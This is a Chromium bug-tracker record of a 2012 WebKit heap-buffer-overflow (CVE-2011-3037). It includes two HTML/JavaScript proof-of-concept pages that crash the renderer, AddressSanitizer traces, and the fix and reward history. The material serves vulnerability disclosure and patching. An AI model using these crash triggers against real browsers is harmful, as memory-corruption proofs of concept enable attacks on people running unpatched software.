New issue
Advanced search Search tips
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Feb 2012
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Bad cast in splitAnonymousBlocksAroundChild

Reported by miau...@gmail.com, Feb 19 2012 Back to list

Issue description



VULNERABILITY DETAILS

looks the same to me :| on 108184


VERSION
Chrome Version: 

Chromium	19.0.1047.0 (Developer Build 122718)
OS	Linux
WebKit	535.22 (trunk@108184)

Operating System: linux of 64 bit

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el1 {
        -webkit-column-count: 2; 
      }
      #el4 {
        -webkit-column-span: all; 
      }
    </style>
    <script>
      onload = function() {
        el0 = document.createElement('div') 
        document.body.appendChild(el0) 
        el1 = document.createElement('div') 
        el1.setAttribute('id', 'el1') 
        el0.appendChild(el1) 
        el2 = document.createElement('div') 
        el1.appendChild(el2) 
        el3 = document.createElement('div') 
        el1.appendChild(el3) 
        el4 = document.createElement('div') 
        el4.setAttribute('id', 'el4') 
        el1.appendChild(el4) 
        el4.style.display='table-footer-group'
        document.body.offsetTop 
        el3.style.display='table-row'
        document.body.offsetTop 
        el3.style.display='table-column-group'
        document.body.offsetTop 
        el3.style.display='table-row'
        el4.style.display='table-cell'
        document.body.offsetTop 
        el2.style.display='inline'
      }
    </script>
  </head>
  <body>
  </body>
</html>

--

<html>
  <head>
    <style>
      #el0 {
        -webkit-column-count: 2; 
      }
      #el3 {
        -webkit-column-span: all; 
      }
    </style>
    <script>
      onload = function() {
        el0 = document.createElement('div') 
        el0.setAttribute('id', 'el0') 
        document.body.appendChild(el0) 
        el1 = document.createElement('div') 
        el2 = document.createElement('div') 
        el0.appendChild(el2) 
        el0.appendChild(el1) 
        el3 = document.createElement('div') 
        el3.setAttribute('id', 'el3') 
        el0.appendChild(el3) 
        el3.style.display='table-footer-group'
        document.body.offsetTop
        el1.style.display='table-row'
        document.body.offsetTop
        el1.style.display='table-column-group'
        document.body.offsetTop
        el1.style.display='table-row'
        document.body.offsetTop
        el2.style.display='inline'
      }
    </script>
  </head>
  <body>
  </body>
</html>


FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: rendererer + asan
Crash State: 

==3642== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7fffecca9910 at pc 0x51b57a5 bp 0x7fffffff8630 sp 0x7fffffff8628
READ of size 8 at 0x7fffecca9910 thread T0
    #0 0x51b57a5 in WebCore::RenderObjectChildList::insertChildNode(WebCore::RenderObject*, WebCore::RenderObject*, WebCore::RenderObject*, bool) ???:0
    #1 0x4f9b56a in WebCore::RenderBlock::splitAnonymousBlocksAroundChild(WebCore::RenderObject*) ???:0


0x7fffecca9910 is located 8 bytes to the right of 136-byte region [0x7fffecca9880,0x7fffecca9908)
allocated by thread T0 here:
    #0 0x7d79d02 in malloc ??:0
    #1 0x520392a in WebCore::RenderTableSection::addChild(WebCore::RenderObject*, WebCore::RenderObject*) ???:0
    #2 0x51d9e8d in WebCore::RenderTable::addChild(WebCore::RenderObject*, WebCore::RenderObject*) ???:0


----


==6404== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7fffecca9b18 at pc 0x51b4f4f bp 0x7fffffff8920 sp 0x7fffffff8918
READ of size 8 at 0x7fffecca9b18 thread T0
    #0 0x51b4f4f in WebCore::RenderObjectChildList::appendChildNode(WebCore::RenderObject*, WebCore::RenderObject*, bool) ???:0
    #1 0x4f9b56a in WebCore::RenderBlock::splitAnonymousBlocksAroundChild(WebCore::RenderObject*) ???:0

0x7fffecca9b18 is located 16 bytes to the right of 136-byte region [0x7fffecca9a80,0x7fffecca9b08)
allocated by thread T0 here:
    #0 0x7d79d02 in malloc ??:0
    #1 0x520392a in WebCore::RenderTableSection::addChild(WebCore::RenderObject*, WebCore::RenderObject*) ???:0
    #2 0x51d9e8d in WebCore::RenderTable::addChild(WebCore::RenderObject*, WebCore::RenderObject*) ???:0
    #3 0x519961a in WebCore::RenderObject::addChild(WebCore::RenderObject*, WebCore::RenderObject*) ???:0



 
16136.html
973 bytes View Download
8136.html
1.1 KB View Download
16136.txt
6.9 KB View Download
8136.txt
7.1 KB View Download
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit OS-All Mstone-17 SecImpacts-Stable SecImpacts-Beta SecSeverity-High
Labels: Stability-AddressSanitizer reward-topanel
Status: Available
Summary: Bad cast in splitAnonymousBlocksAroundChild
upstreamed - https://bugs.webkit.org/show_bug.cgi?id=78994
Owner: infe...@chromium.org
Status: Started
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/108194
Labels: -Merge-Approved Merge-Merged
M17: http://trac.webkit.org/changeset/109414
M18: http://trac.webkit.org/changeset/109416
Labels: -reward-topanel reward-1000 reward-unpaid
$1000

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: CVE-2011-3037
Labels: -reward-unpaid

Comment 10 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 11 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 12 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -Mstone-17 -SecImpacts-Stable -SecImpacts-Beta -SecSeverity-High -Stability-AddressSanitizer Cr-Content Security-Impact-Stable Security-Severity-High Security-Impact-Beta Type-Bug-Security M-17 Performance-Memory-AddressSanitizer
Project Member

Comment 13 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 14 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 16 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 17 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 18 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 19 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 20 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 21 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 22 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 23 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment